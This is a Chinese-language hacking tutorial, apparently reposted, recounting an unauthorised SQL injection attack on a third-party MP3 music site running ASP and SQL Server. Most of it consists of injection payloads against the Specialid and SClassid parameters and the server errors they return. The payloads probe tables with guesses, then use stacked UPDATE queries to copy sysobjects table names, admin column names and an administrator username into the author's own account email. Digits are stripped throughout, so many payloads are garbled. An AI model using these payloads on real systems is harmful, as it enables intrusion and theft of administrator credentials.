SQL Injection這個話題越來越熱了
很多的論壇和hack站點都或多或少地在談論這個問題
當然也有很多革命前輩寫了N多的關於這方面的文章
所利用的也是許多知名的程序
比如動網
塵緣雅境
而我們也可以拿到免費的程序來看其中的漏洞和數據庫的結構
從中來達到注入的目的
不過如果是別人自己寫的程序
那麼我們就不知道他的源代碼
更不知道他的數據庫結構(數據表名和其中的字段名)
就算有個變量未過濾提交到數據庫去
我們也是無從對其下手的
只能利用通過猜解他的數據庫結構來構造相應的SQL語句
那麼是不是就到此為止
能猜到多少是多少呢?沒有做不到的
只有想不到的
我相信這篇文章對研究SQL Injection朋友來說
應該會有所啟發
一發現漏洞常規注入 最近幫我們的站增加音樂
雖然本地的電信的音樂資源庫非常豐富
但是缺少有關歌手和專輯的資料
所以到網上去閒逛找點有用的圖片和歌手簡介
通過百度搜索到了一個mp
的音樂超市
裡面的資料還是比較豐富的
拷貝的同時順手在他的Specialid=
後面加了一個(單引號)
我突然眼前一亮
Microsoft OLE DB Provider for SQL Server 錯誤
e
字符串 之前有未閉合的引號
/showspecial
asp
行
Specialid沒有過濾掉單引號就直接用到SQL語句中去了
而且是SQL SERVER版本的
漏洞的可利用性極大
可不能就此放過這麼好的練兵機會
接著換;(分號)提交進去
居然頁面正常出來了
說明該變量也沒有過濾掉;號
到這裡
我們就可以對此進行SQL滲透了
按照常規的步驟
提交?Specialid=
;use master;
注
的作用是注釋掉程序中後面的SQL語句
以防對我們構造的語句有影響
比如order by
出現
Microsoft OLE DB Provider for SQL Server 錯誤
e
多步 OLE DB 操作產生錯誤
如果可能
請檢查每個 OLE DB 狀態值
沒有工作被完成
/showspecial
asp
行
想在他的數據庫裡增加一個管理員是不可能了
我們再換一種方法
提交?Specialid=
and
<>(select count(id) from [user])
這一句的意思是猜猜看是不是存在一個名為user的表和他裡面有沒有id這個字段
一般來說:
如果不存在該表的話
會出現
Microsoft OLE DB Provider for SQL Server 錯誤
e
對象名 user 無效
/showspecial
asp
行
不存在該字段的話
會出現
Microsoft OLE DB Provider for SQL Server 錯誤
e
列名 id 無效
/showspecial
asp
行
注
一般來說
第一步是猜一些公共的表
這裡所指的公共表的意思是大多數的程序員在寫設計數據庫結構的時候會用到的常用的表和字段
比如新聞的news表中的編號字段id
標題字段title
用戶表user或者user_data中的編號字段id
用戶名字段username
當然你也可以在該站點的登陸界面看他的原代碼
找到用戶名和密碼的表單的name值
那個也經常會是表字段名的真實值
如<INPUT type=text name=username size=
>
很幸運
果然存在user表和id字段
通過提交?Specialid=
and
<>(select count(username) from [user])
這裡的username是根據登陸框的表單名去猜的
恰好存在該字段
於是在該站注冊了一個用戶名為rrrrr的用戶
作為注入的平台
得到我的用戶名的id值
繼續猜下去
這裡我還是利用的他程序中的表單名
提交
?Specialid=
and
<>(select count(email) from [user])
也存在
好了
到這裡
我們的平台已經搭建好了
二深入研究讓SQL自己招數據庫結構 很多時候
我們只能猜到大家比較熟用的表名
如果是非原程序公開下載的
我們很猜到他的真實數據庫結構
有時候猜半天都猜不到
令人很郁悶
那麼該如何拿到他的表結構呢?我們知道SQL SERVER的每一個數據庫都會有用戶表和系統表
根據SQL SERVER的聯機幫助描述是系統表sysobjects
在數據庫內創建的每個對象(約束
默認值
日志
規則
存儲過程等)在表中占一行
那麼也就是說當前數據庫的表名都會在該表內有存在
(對象名 admin 無效
大家可以看到上面出現的報錯把表名描述成對象)
我們要用的是其中的
個
描述如下(詳細的見SQL SERVER的聯機幫助)
name 數據表的名字
xtype 數據表的類型 u為用戶表
id 數據表的對象標志
status 保留字段
用戶表一般都是大於
的
在查詢分析器執行以下SQL語句(以我本地的數據庫為例子)
select top
name from sysobjects where xtype=u and status>
我們馬上就可以得到該數據庫下用戶表的第一個表名gallery
select top
id from sysobjects where xtype=u and name=gallery
我們馬上就可以得到該數據庫下用戶表的第一個表名gallery的對象標志
select top
name from sysobjects where xtype=u and id>
再得到第
個表名gb_data
這裡用到的是id>
因為對象標志id是根據由小到大排列的
以此類推
我們可以得到所有的用戶表的名字了
接下來
我們要根據得到的表名取他的字段名
這裡我們用到的是系統自帶的
個函數col_name()和object_id()
在查詢分析器執行以下SQL語句(以我本地的數據庫為例子)
select top
col_name(object_id(gallery)
) from gallery
得到gallery表的第一個字段名為id
注
col_name()的語法
COL_NAME ( table_id
column_id )
參數
table_id
包含數據庫列的表的標識號
table_id 屬於 int 類型
column_id
列的標識號
column_id 參數屬於 int 類型
其中我們用object_id()函數來得到該表的標識號
表示該表的第
個
第
個
第
個
字段的標識號
以此類推得到該表所有的字段名稱
三再次滲透攻擊 經過上面
步的熱身
接下來我們該利用建立好的平台實際操作演練一下了
依然是那個頁
我們提交
?Specialid=
;update[user] set email=(select top
name from sysobjects where xtype=u and status>
) where id=
;
服務器返回
ADODB
Recordset 錯誤
a
cb
當前記錄集不支持更新
這可能是提供程序的限制
也可能是選定鎖定類型的限制
/showspecial
asp
行
出師不利
可能該頁記錄集打開方式是只讀
我們再換一個頁
找到?Classid=
&SClassid=
的SClassid同樣存在問題
於是提交
?Classid=
&SClassid=
;update [user] set email=(select top
name from sysobjects where xtype=u and status>
) where id=
;
把第一個數據表的名字更新到我的資料的email項裡去
得到第一個表名為
lmuser
?Classid=
&SClassid=
;update [user] set email=(select top
id from sysobjects where xtype=u and name=lmuser) where id=
;
得到第一個表lmuser的id標識號為
?Classid=
&SClassid=
;update [user] set email=(select top
name from sysobjects where xtype=u and id>
) where id=
;
得到第二個表名為
ad
這裡我們利用的是數據表的對象標志id是升序排列的特點
以此類推繼續取……(由於篇幅問題
中間省略n步)
最後我們得到了所有的表名
發現其中有個表admin
哈
很可能就是管理員的列表了
好
接下來我們就取該表的字段名
?Classid=
&SClassid=
;update [user] set email=(select top
col_name(object_id(admin)
) from admin) where id=
;
得到第
個字段為
id
?Classid=
&SClassid=
;update [user] set email=(select top
col_name(object_id(admin)
) from admin) where id=
;
得到第
個字段為
username
?Classid=
&SClassid=
;update [user] set email=(select top
col_name(object_id(admin)
) from admin) where id=
;
得到第
個字段為
password
到此
管理員列表的
個關鍵字段已經給我們拿到
接下來要拿用戶名和密碼就比較省力了
首先拿管理員的id值
這個比較簡單
我就不再詳細說了
我們拿到的id值是
?Classid=
&SClassid=
;update [user] set email=(select top
username from admin where id=
) where id=
;
將該管理員的用戶名更新到email項
拿到的username為
gscdjm
From:http://tw.wingwit.com/Article/program/SQLServer/201311/11232.html